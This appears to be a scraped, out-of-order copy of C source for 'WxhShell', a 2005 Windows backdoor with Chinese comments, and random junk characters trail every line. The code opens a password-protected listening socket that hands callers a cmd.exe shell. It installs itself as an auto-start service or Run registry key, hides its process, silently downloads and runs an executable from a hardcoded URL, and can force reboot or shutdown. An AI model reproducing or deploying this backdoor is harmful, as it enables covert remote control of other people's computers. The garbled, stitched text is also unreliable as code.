    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2Ig.hnHj  
    if(Boot(SHUTDOWN)) ZCa?uzeo]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BX?Si1c  
    else {  z>!b  
    closesocket(wsh); ?%?@?W>s@  
    ExitThread(0); @uHNz-c  
    } MCvjdc3:  
    break; giv cq'L  
    } 3 ;&N3:,X  
  // 获取shell p AD@oPC  
  case 's': { hP #>`)aNY  
    CmdShell(wsh); y3l sAe#  
    closesocket(wsh); 2Tp.S3  
    ExitThread(0); ~<aCn-h0  
    break; a`}HFHm\2,  
  } :)&_  
  // 退出 FXIQS'  
  case 'x': { E/ Pa0.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L(iWFy1& T  
    CloseIt(wsh); hTF]-& hZ  
    break; W n|w~{d{  
    } v vFX\j3  
  // 离开 VE!h!`<k  
  case 'q': { _d: l1jD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l+@NjZGm<  
    closesocket(wsh); 3S Dw-k  
    WSACleanup(); ]kr OPM/  
    exit(1); Al! P=h  
    break; 1L3L!@  
        } mwBOhEefNJ  
  } `.@N9+Aj  
  }  {sbQf7)  
V7.EDE2A3  
  // 提示信息 NcdOzx>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =OCHV+m  
} /P320[B}m&  
  } 4e* rBTl  
8{'L:yzMY  
  return; #=h~Lr'UH  
} Q\}5q3  
hW]:CIqk  
// shell模块句柄 r@ ]{`qA  
int CmdShell(SOCKET sock) A+AqlM+$i  
{ 94A re<  
STARTUPINFO si; 4Xlq Ym  
ZeroMemory(&si,sizeof(si));  \:Q)Ef  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hl8[A-d(R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $Z #  
PROCESS_INFORMATION ProcessInfo; P@)z Nik[  
char cmdline[]="cmd"; lO[[iMHl<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >%t"VpvR  
  return 0; PKk_9Xd  
} N,L$+wm  
zl$'W=[rFs  
// 自身启动模式 cZi/bIh  
int StartFromService(void) qn:3s  
{ +eQg+@u  
typedef struct SD |5v*  
{ !CUrpr/*  
  DWORD ExitStatus; ~'n3],o?  
  DWORD PebBaseAddress; f/aSqhAW  
  DWORD AffinityMask; J'W6NitMr  
  DWORD BasePriority; ?!KqDI  
  ULONG UniqueProcessId; e~oI0%xl^  
  ULONG InheritedFromUniqueProcessId; wP29 xV"5  
}   PROCESS_BASIC_INFORMATION; j8P=8w{  
R!5j1hMN`  
PROCNTQSIP NtQueryInformationProcess; M"W-|t)~  
_DS_AW}D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !{jDZ?z{h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qq G24**9v  
Y<odXFIS  
  HANDLE             hProcess; M, f6UYo=  
  PROCESS_BASIC_INFORMATION pbi; @-)jU!  
4@- 'p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bejvw?)S.  
  if(NULL == hInst ) return 0; _46 y  
*>I4X=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v,^2'C$o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qf-0 | w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rZEL7{  
Dn1aaN6  
  if (!NtQueryInformationProcess) return 0; f5'Cq)Vw_  
_NA[g:DZ&O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ye4 T2=  
  if(!hProcess) return 0; %v5IR  
HJ~0_n&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rE)lt0mkv  
9mZ[SQf  
  CloseHandle(hProcess); (Rj'd>%c  
$DBJ"8n2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >|IUjv2L  
if(hProcess==NULL) return 0; 0ZcvpR?G  
[z=KHk  
HMODULE hMod; sF[7pE  
char procName[255]; &?59{B. mD  
unsigned long cbNeeded; :(ni/,~Q  
TL'^@Y7X5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g$+ $@~  
|1!RvW:[!  
  CloseHandle(hProcess); [TRHcz n  
|L wn<y  
if(strstr(procName,"services")) return 1; // 以服务启动 ?> )(;Ir9  
u)J&3Ah%  
  return 0; // 注册表启动 GI']&{  
} v"-@'qN'  
<a_ytSoG1  
// 主模块 I54`}Npp  
int StartWxhshell(LPSTR lpCmdLine) iW oe  
{ |T3F:],`  
  SOCKET wsl; cc37(=o KL  
BOOL val=TRUE; {-a8^IK,  
  int port=0; ;XAj/6pm  
  struct sockaddr_in door; 20h+^R3{Z  
II;   
  if(wscfg.ws_autoins) Install(); NFsj ~6F#  
!Z(3dtUy  
port=atoi(lpCmdLine); L{&5Ets  
O7,)#{  
if(port<=0) port=wscfg.ws_port; &-.NkW@  
HX}9;O  
  WSADATA data; f i#p('8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qGivRDR$  
3;v%78[&P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'z\$.L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AXN%b2  
  door.sin_family = AF_INET; m6+4}=Cn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); B\*"rSP\  
  door.sin_port = htons(port); s&.VU|=VQ@  
a\_?zi]s&,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -0P(lkylf  
closesocket(wsl); <+3-(&  
return 1; u]`ur#_  
} >_esLsPWh]  
"Zr+>a  
  if(listen(wsl,2) == INVALID_SOCKET) { V\|V1c  
closesocket(wsl); jc0Trs{Jf  
return 1; q/qJkr^2  
} KdN+$fe*g  
  Wxhshell(wsl); pA?kv]l(  
  WSACleanup(); MeCHn2zwB  
# cGn5c}  
return 0; lE|Hp  
crvq]J5  
} Cr&,*lUo  
&GKtD)  
// 以NT服务方式启动 n=_jmR1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  iup "P  
{ #]SiS2lM#  
DWORD   status = 0; Aq3.%,X2H  
  DWORD   specificError = 0xfffffff; T #OrsJdu  
~Y)h[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZkA05wPZ#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?j:U<TY)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (Vz\02,K  
  serviceStatus.dwWin32ExitCode     = 0; ;:Kd?Tz$  
  serviceStatus.dwServiceSpecificExitCode = 0; )Up'W  
  serviceStatus.dwCheckPoint       = 0; D:Rr|m0Tk  
  serviceStatus.dwWaitHint       = 0; <13').F  
%Eq4>o?D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |i~Ab!*8n  
  if (hServiceStatusHandle==0) return; AhA4IOG`.  
oj$^87KX  
status = GetLastError(); N0mP EF2  
  if (status!=NO_ERROR) *h9S\Pv>j  
{ q{RH/. l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gR#lRA/  
    serviceStatus.dwCheckPoint       = 0; n,l{1 q  
    serviceStatus.dwWaitHint       = 0; Or:a\qQ1  
    serviceStatus.dwWin32ExitCode     = status; ps@;Z ?Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; qPH=2k ,H  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .5AyB9a%&  
    return; qZ=%r u  
  } P(|+1$#[  
5&Vp(A[m[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r5wy]z^  
  serviceStatus.dwCheckPoint       = 0; vQ_D%f4;  
  serviceStatus.dwWaitHint       = 0; I&Dp~aEM]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $-#|g  
} $C^tZFq  
bf*VY&S- T  
// 处理NT服务事件,比如:启动、停止 @gM>Lxj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S`t@L}  
{ z4B-fS]  
switch(fdwControl) /9wmc2  
{ 0Z,a3)jcc  
case SERVICE_CONTROL_STOP: 7Z7e}| \W  
  serviceStatus.dwWin32ExitCode = 0; vw5f|Q92  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l =`?Im  
  serviceStatus.dwCheckPoint   = 0; tgpg  
  serviceStatus.dwWaitHint     = 0; %HWebZ-yY  
  { V'Z Z4og  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uW{;@ 7N  
  } mSFh*FG  
  return; @o/126(k  
case SERVICE_CONTROL_PAUSE: L0QF(:F5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [+8in\T i  
  break; r!C#PiT}I  
case SERVICE_CONTROL_CONTINUE: r0'6\MS13  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  HQ0fY  
  break; 2Y-NxW^]  
case SERVICE_CONTROL_INTERROGATE: d) i64"  
  break; y} W-OLE  
}; jwQ(E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sc)}r_|g  
} E(p*B8d  
qh)10*FB  
// 标准应用程序主函数 m2esVvP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^V;h>X|  
{ %xuJQuCqf  
lHI ;fR  
// 获取操作系统版本 A^3M~  
OsIsNt=GetOsVer(); x(r~<a[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PYhRP00}M  
8G<{L0J%!  
  // 从命令行安装 r&0IhE  
  if(strpbrk(lpCmdLine,"iI")) Install(); >u=Dc.lX  
?y`we6~\1  
  // 下载执行文件 S?BI)shmg  
if(wscfg.ws_downexe) { KP*cb6vA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #fQ}8UxU,  
  WinExec(wscfg.ws_filenam,SW_HIDE); [5T{`&  
} e0 &x?U*/  
F15Yn  
if(!OsIsNt) { &4}Uaxt)  
// 如果时win9x,隐藏进程并且设置为注册表启动 *kM^l!<g  
HideProc(); <>?7veN92  
StartWxhshell(lpCmdLine); wUJ>?u9  
} T-)lnrs^  
else 1Ax{Y#<  
  if(StartFromService()) \:Vm7Zg  
  // 以服务方式启动 M4rK  
  StartServiceCtrlDispatcher(DispatchTable); 24b?6^8~k  
else U5!~ @XjG>  
  // 普通方式启动 q:a-tdv2  
  StartWxhshell(lpCmdLine); d(!g9H  
P7D__hoE  
return 0; c80!Ub@  
} WMk;-,S!)  
`"RT(` m  
LEn+0^hX  
2T&n6t$p  
=========================================== f:u3fL  
gF53[\w^v  
|g1~-  
.tQeOZW'  
T@P[jtH<d  
k,GAHM"'  
" Q*K31Ln  
!U[/P6 +0  
#include <stdio.h> nd3n'b  
#include <string.h> ~|kSQ7O^  
#include <windows.h> gT0N\oU"  
#include <winsock2.h> EZb_8<DH  
#include <winsvc.h> efUa[XO  
#include <urlmon.h>  {,Z-GJ  
@{LD_>R  
#pragma comment (lib, "Ws2_32.lib") NR9=V  
#pragma comment (lib, "urlmon.lib") l)K8.(2  
Ef2i#BoZ  
#define MAX_USER   100 // 最大客户端连接数 sn-P&"q  
#define BUF_SOCK   200 // sock buffer ms/!8X$Mz  
#define KEY_BUFF   255 // 输入 buffer al@Hr*'  
2Sb68hJIE  
#define REBOOT     0   // 重启 cD JeYduK  
#define SHUTDOWN   1   // 关机 `c.P`@KA  
;t\oM7J|  
#define DEF_PORT   5000 // 监听端口 Je &O  
#C#*yE  
#define REG_LEN     16   // 注册表键长度 h*B7UzCg  
#define SVC_LEN     80   // NT服务名长度 {"WfA  
hRaX!QcG3  
// 从dll定义API D\0q lCAs  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zbgH}6b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ({!S!k  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1G`zwfmh~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }[mLtv%&  
b2Oj 1dP1  
// wxhshell配置信息 Zp qb0ro  
struct WSCFG { S17 c#6vT  
  int ws_port;         // 监听端口 ^_5t5>  
  char ws_passstr[REG_LEN]; // 口令 d]r?mnN W  
  int ws_autoins;       // 安装标记, 1=yes 0=no 155vY  
  char ws_regname[REG_LEN]; // 注册表键名 DNu-Ce%  
  char ws_svcname[REG_LEN]; // 服务名 HD!2|b ~@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  eo&^~OVT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q .s'z}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L&LAh&%{2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no dBb &sA-A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  P0<)E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H{U(Rt]K  
5[0W+W  
}; ,?oC+9w  
./i5VBP5  
// default Wxhshell configuration 35 d:r:  
struct WSCFG wscfg={DEF_PORT, hq*"S -N  
    "xuhuanlingzhe", 4`zK`bRcK#  
    1, 5iZx -M  
    "Wxhshell", PfjD!=yS=h  
    "Wxhshell", H84Zg/ ^  
            "WxhShell Service", _X)`S"EsJ  
    "Wrsky Windows CmdShell Service", ^`+Kjhht  
    "Please Input Your Password: ", ?X^.2+]*&  
  1, S(#v<C,hd  
  "http://www.wrsky.com/wxhshell.exe", ]Il}ymkIZ  
  "Wxhshell.exe" 8/"R&yAh  
    }; WbJ  
JJ4w]Dd4  
// 消息定义模块 7!PU}[:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +. tcEbFL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; oZ\zi> Y,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]Wg&r Y0  
char *msg_ws_ext="\n\rExit."; z*e`2n#\  
char *msg_ws_end="\n\rQuit."; ~@d4p|K  
char *msg_ws_boot="\n\rReboot..."; `b*x}HP$  
char *msg_ws_poff="\n\rShutdown..."; M~l\rg8  
char *msg_ws_down="\n\rSave to "; 0WQd#l  
.kc{)d*0K  
char *msg_ws_err="\n\rErr!"; 5b$QXO  
char *msg_ws_ok="\n\rOK!"; z`:tl7  
(q}{;  
char ExeFile[MAX_PATH]; ,buo&DT{L  
int nUser = 0; ]6;G#  
HANDLE handles[MAX_USER]; * 3#RS  
int OsIsNt; @d_9NOmNT  
;MH_pE/m  
SERVICE_STATUS       serviceStatus; ZLlAK?N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; avy@)iO7  
on.m '-s  
// 函数声明 [Wn6d:  
int Install(void); lXip%6c7  
int Uninstall(void); hka`STK{  
int DownloadFile(char *sURL, SOCKET wsh); O &}`R5Y;  
int Boot(int flag); *0/%R{+S  
void HideProc(void); YJB/*SV^  
int GetOsVer(void); /[+qw%>  
int Wxhshell(SOCKET wsl); =|V[^#V  
void TalkWithClient(void *cs); ;7U"wI_~c  
int CmdShell(SOCKET sock); 4vyJ<b  
int StartFromService(void); ) ^ 7- qy  
int StartWxhshell(LPSTR lpCmdLine); xp%LXx j  
m2v'zJd}g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2Q)pT$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]zh6[0V7V  
4P=)u}{]^#  
// 数据结构和表定义 d~;U-  
SERVICE_TABLE_ENTRY DispatchTable[] = 1EQLsg`d^  
{ 4$ ^rzAi5  
{wscfg.ws_svcname, NTServiceMain}, :RDQP  
{NULL, NULL} d;v<rw  
}; i?n#ge  
<(_${zR  
// 自我安装 Gdv{SCV  
int Install(void) GzjC;+W  
{ !laOiH  
  char svExeFile[MAX_PATH]; T)mh  
  HKEY key; |vY|jaV}  
  strcpy(svExeFile,ExeFile); kb[+II  
,+!|~1  
// 如果是win9x系统,修改注册表设为自启动 5"z~BE7  
if(!OsIsNt) { TGzs|-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -?1ed|I8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rnQ9uNAu  
  RegCloseKey(key); o?><(A|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MZS/o3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [m6%_3zV  
  RegCloseKey(key); 3Gt@Fo=  
  return 0; #C+7~ns'  
    } @vPGkM#oW  
  } V PI_pK  
} 3Y=uBl  
else { I&>5b7Uf  
N >k,"=N /  
// 如果是NT以上系统,安装为系统服务 MrhJk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T1M>N  
if (schSCManager!=0) B&?xq)%*#  
{ 9&Ny;oy#6  
  SC_HANDLE schService = CreateService K-n]m#U4o  
  (  \z?-  
  schSCManager, X!K:V~WG  
  wscfg.ws_svcname, @!::_E+F]  
  wscfg.ws_svcdisp, !Q{~f;L  
  SERVICE_ALL_ACCESS, Kgb<uXk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C8$/z>tQ  
  SERVICE_AUTO_START, Q+Ya\1$6A  
  SERVICE_ERROR_NORMAL, r?}L^bK  
  svExeFile, M7c53fz  
  NULL, .83z =  
  NULL, k@Bn}r  
  NULL, #R# |hw  
  NULL, ]]/p.#oD,  
  NULL N[wyi&m4  
  ); oD_#oX5\  
  if (schService!=0) ;_E][m  
  { ]?V2L`/  
  CloseServiceHandle(schService); PjkjUP  
  CloseServiceHandle(schSCManager); cWp5pGIzfp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =z9FjK  
  strcat(svExeFile,wscfg.ws_svcname); z6'l" D'h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :PP!v!vk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DHh30b$c  
  RegCloseKey(key); ~i=5NUE  
  return 0; X@Yl<9|i  
    } lQ|i Ws  
  } )P9&I.a8  
  CloseServiceHandle(schSCManager); ~}ba2dU8  
} p"Q V| `  
} '/@i} digf  
` W{y  
return 1; iQz c$y^,9  
} 54%h)dLDy  
/igbn  
// 自我卸载 v,Yz\onB^  
int Uninstall(void) gF&HJF 0x  
{ ju(QSZ|;  
  HKEY key; *.zC9Y,  
y])z,#%ED  
if(!OsIsNt) { e! 0Y`lQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R![1\Yv&  
  RegDeleteValue(key,wscfg.ws_regname); MXynv";<H  
  RegCloseKey(key); z5 :53,`D'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xB,(!0{`  
  RegDeleteValue(key,wscfg.ws_regname); ci`N ,&:R  
  RegCloseKey(key); ^spASG -o  
  return 0; CxJH)H$  
  } mH7Mch| m  
} NXdT"O=P  
} b0[H{q-z{X  
else {  6adXE  
rM)-$dZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2IFEl-IB[  
if (schSCManager!=0) =R0#WMf$@  
{ b_-?ZmV^r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p"o_0 {8  
  if (schService!=0) #i| AE`  
  { o '!WW  
  if(DeleteService(schService)!=0) { 5+Hw @CY3  
  CloseServiceHandle(schService); c8M'/{4rH  
  CloseServiceHandle(schSCManager); HsAKz]Mq  
  return 0; E(0[/N~  
  } A IsXu"  
  CloseServiceHandle(schService); Q#sLIZ8=  
  } laGIu0s {  
  CloseServiceHandle(schSCManager); _A=Pr _kN  
} !KmSLr7xU  
} g:fzf>oQ>p  
!z?;L_Lb  
return 1; =l1O9/\9  
} O"f|gc)GLz  
_2nNCu (  
// 从指定url下载文件 mY!&*nYn|  
int DownloadFile(char *sURL, SOCKET wsh) ,B$m8wlI|  
{ 8? &!@3n  
  HRESULT hr; h}f l:J1C  
char seps[]= "/"; h0Ilxa   
char *token; {{Z3M>Q  
char *file; dS~#Lzm  
char myURL[MAX_PATH]; o;7_*=i  
char myFILE[MAX_PATH]; $D~vuA7  
{%XDr,myd  
strcpy(myURL,sURL); Z)RV6@(  
  token=strtok(myURL,seps); Ib0@,yS[  
  while(token!=NULL)  ~ A4_  
  { H@BU/{  
    file=token; +BkmI\  
  token=strtok(NULL,seps); d/&~IR  
  } SMbhJ}\O  
y<*/\]t9L[  
GetCurrentDirectory(MAX_PATH,myFILE); Fq #;  
strcat(myFILE, "\\"); c_)lTI4  
strcat(myFILE, file); w $z]Z-  
  send(wsh,myFILE,strlen(myFILE),0); L(\o66a-rV  
send(wsh,"...",3,0); bs\7 juHt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); OjBg$f~0F  
  if(hr==S_OK) yZqX[U  
return 0; _J -3{a  
else `T~~yM)q  
return 1; /\|Behif  
!; COFR  
} z.]  
V] 0~BV  
// 系统电源模块 2^T`> ?{X  
int Boot(int flag) KImazS^  
{ zua=E2  
  HANDLE hToken; jY ~7-  
  TOKEN_PRIVILEGES tkp; K*fh`Kz  
U8icP+Y  
  if(OsIsNt) { o~={M7 m  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $C~OV@I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^{w]r5d  
    tkp.PrivilegeCount = 1; ;_?RPWZ;MO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o+ 0"@B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H?W8_XiN  
if(flag==REBOOT) { +6+!M_0wA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2JS&zF  
  return 0; _S;Fs|p_  
} <R @w0b>  
else {  v{ *#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j5]6 CG_  
  return 0; l[Rl:k!  
} 9 M!J7 W  
  } Qlgii_?#@  
  else { =RH7j  
if(flag==REBOOT) { fKjUEMRK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oJbMUEQQq  
  return 0; ]Z#=w  
} MNZD-[  
else { )H`1CcT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6[l{@*r"  
  return 0; ELqpIXq#  
} `dK%I  U  
} t +@UC+aW  
6;vfl*  
return 1; 1*u i|fuK  
} <zhN7="  
C lekB  
// win9x进程隐藏模块 Mo_(WSs  
void HideProc(void) "0#d F:qt  
{ euc|G Xs  
*mTx0sQz(J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1Wy0#?L  
  if ( hKernel != NULL ) UA]U_P$c  
  { Jx_BjkF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s6| S#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2#?qey  
    FreeLibrary(hKernel); |ZuS"'3_w  
  } ^i!6q9<{e  
"~^ #{q  
return; yPhTCr5pK  
} z6f N)kw  
szW85{<+  
// 获取操作系统版本 u AmDXqJ 3  
int GetOsVer(void) BT8L'qEj  
{ 8 s#2Zv  
  OSVERSIONINFO winfo; ae`6hW2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,z+7rl  
  GetVersionEx(&winfo); A9L {c!|-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F ;;\I  
  return 1; %an&lcoX  
  else C!Oz'~l  
  return 0; .PJCBT e  
} LIZsDTU  
j`A3N7;  
// 客户端句柄模块 -"Hy%wE  
int Wxhshell(SOCKET wsl) ~v+A6N:qC  
{ 0.}WZAYy~  
  SOCKET wsh; ygn]f*;?kw  
  struct sockaddr_in client; QKt[Kte  
  DWORD myID;  YD|;xuh  
Nn]|#lLP  
  while(nUser<MAX_USER) <W<>=vDzyE  
{ pNIu;1M5a  
  int nSize=sizeof(client); N);2 2-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N|53|H  
  if(wsh==INVALID_SOCKET) return 1; [c_o.`S_\  
d"Aer  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @+P7BE}  
if(handles[nUser]==0) "Gh5 ^$w?j  
  closesocket(wsh); aS,M=uqqK  
else >GV = %  
  nUser++; yE4X6  
  } krI@N}OU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o@!Uds0  
J;AwC>N  
  return 0; Y3RaR 9  
} W+&<C#1|]  
0v/}W(  
// 关闭 socket z1R_a=7  
void CloseIt(SOCKET wsh) PH]/*LEj  
{ /3pvq%i  
closesocket(wsh); g=5vnY  
nUser--; pX~X{JTaL)  
ExitThread(0); }2nmfm!  
} g4-UBDtYt  
OPtFz6   
// 客户端请求句柄 dNg5#?mzT5  
void TalkWithClient(void *cs) >.X& v  
{ zm7IkYF  
B{ptP4As-  
  SOCKET wsh=(SOCKET)cs; NplWF\5y  
  char pwd[SVC_LEN]; -h?ed'e/zz  
  char cmd[KEY_BUFF]; V0ig#?]  
char chr[1]; `: R7j f  
int i,j; ]W9{<+&  
)E hR qX9  
  while (nUser < MAX_USER) { ZP}NFh%,u  
8,^2'dK34  
if(wscfg.ws_passstr) { n B .?=eUa  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8,DY0PGP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \J0fr'(S  
  //ZeroMemory(pwd,KEY_BUFF); &}q;,"  
      i=0; gXP)YN  
  while(i<SVC_LEN) { <T|?`;K  
]8;2Oh   
  // 设置超时 (n+FEE<  
  fd_set FdRead; 6hX[5?}  
  struct timeval TimeOut;  ZFH;  
  FD_ZERO(&FdRead); ~p* \|YC  
  FD_SET(wsh,&FdRead); |Y")$pjz  
  TimeOut.tv_sec=8; Q%Fa1h:2&  
  TimeOut.tv_usec=0; P1>?crw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [42EqVR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (G<fvl!~  
$(=0J*ND"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }3DZ`8u  
  pwd=chr[0]; abgA Ug)  
  if(chr[0]==0xd || chr[0]==0xa) { X<*-d6?gD`  
  pwd=0; r;C BA'Z  
  break; W~i599!v  
  } $ctpg9 7  
  i++; n=8DC&  
    } XK=-$2n  
,}jey72/k  
  // 如果是非法用户,关闭 socket IB%Hv]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c*c 8S~6  
} C >gC 99  
x3L0;:Fx8P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OB5t+_ s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4;D>s8dgG  
__OH gp 1  
while(1) { 31)eDs  
_>=QZ`!r  
  ZeroMemory(cmd,KEY_BUFF); 'U/X<LCl  
'irHpN6n  
      // 自动支持客户端 telnet标准   nKu)j3o`  
  j=0; nSR<(-j!  
  while(j<KEY_BUFF) { 1 LUvs~Qu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *ud/'HR8]  
  cmd[j]=chr[0]; t8_i[Hw6D  
  if(chr[0]==0xa || chr[0]==0xd) { )~LqBh  
  cmd[j]=0; >9i%Yuy](  
  break; L_{gM`UFc  
  } e]k\dj;,^%  
  j++; N`xXH  
    } 746['sf4c  
tYST&5Kh~  
  // 下载文件 |Zm'!-_  
  if(strstr(cmd,"http://")) { d: {#Dk#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [+.P'6/[$R  
  if(DownloadFile(cmd,wsh)) }h=}!R'm   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c)B <d#  
  else <#>{7" }  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m(rd\3d  
  } y??^[ sB  
  else { q2}6lf,J K  
